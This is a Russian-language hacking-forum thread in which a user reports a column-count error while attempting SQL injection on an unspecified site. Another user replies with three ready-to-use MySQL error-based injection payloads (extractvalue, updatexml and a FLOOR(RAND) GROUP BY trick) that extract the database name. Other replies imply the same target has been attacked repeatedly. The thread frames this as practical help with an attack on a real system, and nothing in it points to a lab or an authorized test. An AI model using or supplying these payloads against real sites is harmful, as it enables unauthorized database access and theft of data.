Вчем причина не совпадения столбцов при sql запросе

[Glorph]

Добрый вечер. пытаюсь провести sql инъекцию. с помощью GROUP

by выяснил что всего 12 столбцов. но когда ввожу union select 1,2,3...12 мне выдается "The used SELECT statements have a different number of columns"

[karkajoi]

Пробуй Error based

and extractvalue(1,concat(0x3a,(database())))-- -

and updatexml(NULL,concat(0x3a, ( select database())),Null)-- -

SELECT COUNT(*)FROM(SELECT1UNIONSELECT2UNIONSELECT3)xGROU PBYCONCAT(MID(database(),1,63),FLOOR(RAND(0)*2))-- -

[erwerr2321]

Он уже попробовал...

... а до него там это попробовали разного рода хакиры ещё 100500 тысяч раз!

[karkajoi]

Ну ошибка говорит , что не правильное количество столбцов подобрал.

[erwerr2321]

Я говорил об этом...


karkajoi said:
↑ (https://antichat.live/posts/4139005/)
Пробуй Error based


Он попробовал и потом всё получилось, и, как позже выяснилось, это получилось не только у него!

[Glorph]

всем спасибо за помощь буду разбираться в sql. людям которые написали в личку отдельное спасибо. если будут вопросы (а они будут) надеюсь не откажете в объяснение в личке. я понял что банальные мануалы по sql injection не подойдут. необходимо углубиться в сам язык. тему можно закрывать